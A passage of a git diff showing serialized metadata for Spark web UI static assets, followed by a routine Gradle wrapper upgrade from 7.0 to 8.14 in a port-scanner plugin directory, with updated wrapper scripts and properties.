+v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ô + jquery.dataTables.1.10.20.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"| +'static/jquery.dataTables.1.10.25.min.js +3.3.3 +3.4.0 +3.4.1 +3.4.2 +v3.3.0 +3.3.1 +v3.3.2 +3.4.3 +3.4.4"Ä +timeline-view.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ð +images/sort_asc_disabled.png +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ð +static/jquery.blockUI.min.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"[ +'static/jquery.dataTables.1.10.20.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4"Ë +static/executorspage.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"½ + d3.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ï +jquery.cookies.2.2.0.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ì +stagespage-template.html +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Æ +streaming-page.css +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ø +$dataTables.bootstrap4.1.10.20.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Å +timeline-view.css +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ø +$dataTables.bootstrap4.1.10.25.min.js +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Z ++static/dataTables.bootstrap4.1.13.5.min.css +3.5.1 +3.5.0 +3.5.2 +3.5.3 +3.5.4" +,static/dataTables.bootstrap4.1.10.25.min.css +3.3.3 +3.4.0 +3.4.1 +3.4.2 +v3.3.0 +3.3.1 +v3.3.2 +3.4.3 +3.4.4"È +jsonFormatter.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ø +$dataTables.bootstrap4.1.13.5.min.css +3.5.0 +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ï +static/webui-dataTables.css +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Í +spark-logo-77x50px-hd.png +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ö +"static/jquery.cookies.2.2.0.min.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ë +dataTables.rowsGroup.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"¿ + log-view.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"È +webui-dataTables.css +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Í +static/jquery.mustache.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ô + jquery.dataTables.1.10.25.min.js +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"¢ +static/jsonFormatter.min.js +3.3.3 +3.4.0 +3.4.1 +3.4.2 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.4.3 +3.4.4"Ã +static/utils.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Õ +!jquery.dataTables.1.10.20.min.css +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"È +images/sort_desc.png +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"× +#static/vis-timeline-graph2d.min.css +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ç +static/sorttable.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"½ + webui.css +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"_ ++static/dataTables.bootstrap4.1.10.20.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4"Ë +bootstrap.bundle.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"É +historypage-common.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"¼ +utils.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"É +jquery.blockUI.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ô + static/spark-logo-77x50px-hd.png +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"` +,static/dataTables.bootstrap4.1.10.20.min.css +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4"Ï +vis-timeline-graph2d.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"\ +(static/jquery.dataTables.1.10.20.min.css +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4"Ã +static/webui.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ó +jquery.dataTables.1.13.5.min.js +3.5.0 +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"¼ +table.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Å +bootstrap.min.css +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"À + sorttable.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"€ ++static/dataTables.bootstrap4.1.10.25.min.js +3.3.3 +3.4.0 +3.4.1 +3.4.2 +v3.3.0 +3.3.1 +v3.3.2 +3.4.3 +3.4.4"Ç +images/sort_asc.png +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ù +%dataTables.bootstrap4.1.10.20.min.css +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ï +executorspage-template.html +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"É +jsonFormatter.min.css +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Î +static/jquery-3.5.1.min.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"¼ +webui.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Õ +!jquery.dataTables.1.10.25.min.css +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ç +graphlib-dot.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ô + vis-timeline-graph2d.min.css.map +3.5.0 +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"} +(static/jquery.dataTables.1.10.25.min.css +3.3.3 +3.4.0 +3.4.1 +3.4.2 +v3.3.0 +3.3.1 +v3.3.2 +3.4.3 +3.4.4"Ì +static/bootstrap.min.css +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Å +streaming-page.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ç +jquery-3.5.1.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ä +spark-dag-viz.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ù +%dataTables.bootstrap4.1.10.25.min.css +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"× +#dataTables.bootstrap4.1.13.5.min.js +3.5.0 +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ì +static/timeline-view.css +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"£ +static/jsonFormatter.min.css +3.3.3 +3.4.0 +3.4.1 +3.4.2 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.4.3 +3.4.4"Â +historypage.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Å +spark-dag-viz.css +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ñ +images/sort_desc_disabled.png +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ä +static/webui.css +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ê +initialize-tooltips.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ð +structured-streaming-page.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ï +bootstrap.bundle.min.js.map +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"À + stagepage.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"É +bootstrap.min.css.map +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ã +dagre-d3.min.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ã +static/table.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ë +static/timeline-view.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"È +images/sort_both.png +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Y +*static/dataTables.bootstrap4.1.13.5.min.js +3.5.1 +3.5.0 +3.5.2 +3.5.3 +3.5.4"Æ +jquery.mustache.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ð +vis-timeline-graph2d.min.css +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Æ +static/log-view.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ñ +static/initialize-tooltips.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ö +"static/vis-timeline-graph2d.min.js +3.5.1 +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Ä +executorspage.js +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4"Í +historypage-template.html +v3.1.3 +v3.2.1 +v3.2.2 +v3.2.3 +v3.2.4 +v3.3.0 +3.3.1 +v3.3.2 +3.3.3 +3.4.0 +3.4.1 +3.4.2 +3.5.0 +3.5.1 +3.4.3 +3.4.4 +3.5.2 +3.5.3 +3.5.4 \ No newline at end of file diff --git a/google/portscan/nmap/gradle/wrapper/gradle-wrapper.jar b/google/portscan/nmap/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/portscan/nmap/gradle/wrapper/gradle-wrapper.jar and b/google/portscan/nmap/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/portscan/nmap/gradle/wrapper/gradle-wrapper.properties b/google/portscan/nmap/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/portscan/nmap/gradle/wrapper/gradle-wrapper.properties +++ b/google/portscan/nmap/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/portscan/nmap/gradlew b/google/portscan/nmap/gradlew index 1aa94a426..23d15a936 100755 --- a/google/portscan/nmap/gradlew +++ b/google/portscan/nmap/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/portscan/nmap/gradlew.bat b/google/portscan/nmap/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/portscan/nmap/gradlew.bat +++ b/google/portscan/nmap/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: 